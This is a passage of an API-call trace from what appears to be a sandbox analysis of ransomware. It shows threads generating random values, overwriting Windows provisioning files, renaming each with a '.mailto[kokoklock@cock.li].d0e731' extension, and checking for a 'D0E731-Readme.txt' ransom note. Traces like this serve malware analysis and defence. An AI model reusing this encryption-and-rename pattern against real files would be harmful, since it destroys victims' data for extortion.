Seed=0x2e63fdb4) returned 0x8d0944ff [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x814058eb [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x8b22d441 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x110087c1 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x1c50a555 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x29477c73 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xfba62879 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x93d8c9b0 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x8d626c90 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xac16d73e [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x6c789583 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x9192ff7f [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x82e8b4f7 [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x27e03587 [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x39d355ab [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x86dcb40f [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x434c3e63 [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xf1551f2e [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xff1a4fc5 [0086.863] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xb14ce8a0 [0086.873] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x2e63fda8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e63fda8*=0x356, lpOverlapped=0x0) returned 1 [0086.873] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e63fd70 | out: lpNewFilePointer=0x0) returned 1 [0086.873] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x356, lpNumberOfBytesWritten=0x2e63fda4, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e63fda4*=0x356, lpOverlapped=0x0) returned 1 [0086.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf60 [0086.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf60) returned 1 [0086.874] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e63fda0, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2e63fda0*=0x20, lpOverlapped=0x0) returned 1 [0086.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.874] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e63fdcc, lpOverlapped=0x0 | out: lpBuffer=0x55de0a0*, lpNumberOfBytesWritten=0x2e63fdcc*=0x8, lpOverlapped=0x0) returned 1 [0086.874] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e63fde4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e63fdcc, lpOverlapped=0x0 | out: lpBuffer=0x2e63fde4*, lpNumberOfBytesWritten=0x2e63fdcc*=0x4, lpOverlapped=0x0) returned 1 [0086.874] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e63fdcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e63fdcc*=0x4, lpOverlapped=0x0) returned 1 [0086.874] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e63fdcc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e63fdcc*=0x6c, lpOverlapped=0x0) returned 1 [0086.874] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e63fdcc, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e63fdcc*=0x20, lpOverlapped=0x0) returned 1 [0086.874] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e63fdcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e63fdcc*=0x4, lpOverlapped=0x0) returned 1 [0086.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb78) returned 1 [0086.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0a0) returned 1 [0086.875] CloseHandle (hObject=0x3d0) returned 1 [0086.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0086.875] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" [0086.875] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.875] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.875] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.876] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.876] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.876] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.876] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8e58) returned 1 [0086.876] RtlExitUserThread (Status=0x1) Thread: id = 1332 os_tid = 0x10e4 [0086.879] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml")) returned 0x20 [0086.879] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.879] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.879] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e6bf9d0 | out: lpFileSize=0x2e6bf9d0*=842) returned 1 [0086.879] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x346, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.879] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e6bf9a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e6bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x2e6bf9a4*, lpNumberOfBytesRead=0x2e6bf9a0*=0x4, lpOverlapped=0x0) returned 1 [0086.881] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0086.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de028 [0086.881] NtQuerySystemTime (in: CurrentTime=0x2e6bf97c | out: CurrentTime=0x2e6bf97c*=132121176447735717) returned 0x0 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x6edf7fbc [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x8d301daf [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x5fb1f099 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xceafa9b5 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xcfafda7f [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xf78324ff [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x3012b985 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xff35d2fd [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x5cd0f05f [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xa0ad1691 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x48d2ef5 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xca456338 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xc762d78e [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x3fa912b3 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x426793c1 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xaf6e2754 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x87946673 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xc7993337 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xe854d640 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xb19bdf61 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x8e805e2d [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x3137f503 [0086.881] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x9f97a8c1 [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xfa9d7d8b [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xf6ad1664 [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xe65f6b2 [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x48883d59 [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x8eb6dcdb [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x795a90a5 [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0x875752c8 [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xadc462f1 [0086.882] RtlRandom (in: Seed=0x2e6bf988 | out: Seed=0x2e6bf988) returned 0xb635d138 [0086.892] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x34a, lpNumberOfBytesRead=0x2e6bf97c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e6bf97c*=0x34a, lpOverlapped=0x0) returned 1 [0086.892] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6bf944 | out: lpNewFilePointer=0x0) returned 1 [0086.892] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x34a, lpNumberOfBytesWritten=0x2e6bf978, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e6bf978*=0x34a, lpOverlapped=0x0) returned 1 [0086.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de0c8 [0086.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf60 [0086.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf60) returned 1 [0086.892] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de0c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e6bf974, lpOverlapped=0x0 | out: lpBuffer=0x55de0c8*, lpNumberOfBytesWritten=0x2e6bf974*=0x20, lpOverlapped=0x0) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0c8) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.893] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e6bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x55de0a0*, lpNumberOfBytesWritten=0x2e6bf9a0*=0x8, lpOverlapped=0x0) returned 1 [0086.893] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e6bf9b8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e6bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x2e6bf9b8*, lpNumberOfBytesWritten=0x2e6bf9a0*=0x4, lpOverlapped=0x0) returned 1 [0086.893] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e6bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e6bf9a0*=0x4, lpOverlapped=0x0) returned 1 [0086.893] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e6bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e6bf9a0*=0x6c, lpOverlapped=0x0) returned 1 [0086.893] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e6bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x55ddfd8*, lpNumberOfBytesWritten=0x2e6bf9a0*=0x20, lpOverlapped=0x0) returned 1 [0086.893] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e6bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e6bf9a0*=0x4, lpOverlapped=0x0) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de050) returned 1 [0086.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0a0) returned 1 [0086.893] CloseHandle (hObject=0x3d0) returned 1 [0086.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0086.894] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" [0086.894] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.894] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.895] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.895] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.895] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.895] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.895] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d0f8) returned 1 [0086.895] RtlExitUserThread (Status=0x1) Thread: id = 1333 os_tid = 0x1374 [0086.880] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml")) returned 0x20 [0086.896] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.896] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e73f854 | out: lpFileSize=0x2e73f854*=838) returned 1 [0086.896] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x342, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.896] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e73f828, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e73f824, lpOverlapped=0x0 | out: lpBuffer=0x2e73f828*, lpNumberOfBytesRead=0x2e73f824*=0x4, lpOverlapped=0x0) returned 1 [0086.898] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0086.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de050 [0086.898] NtQuerySystemTime (in: CurrentTime=0x2e73f800 | out: CurrentTime=0x2e73f800*=132121176447891858) returned 0x0 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xa7b176a3 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xf9cc705 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x8becf73 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x534edc76 [0086.898] RtlRandom (in: Seed=0x2e73f80c | 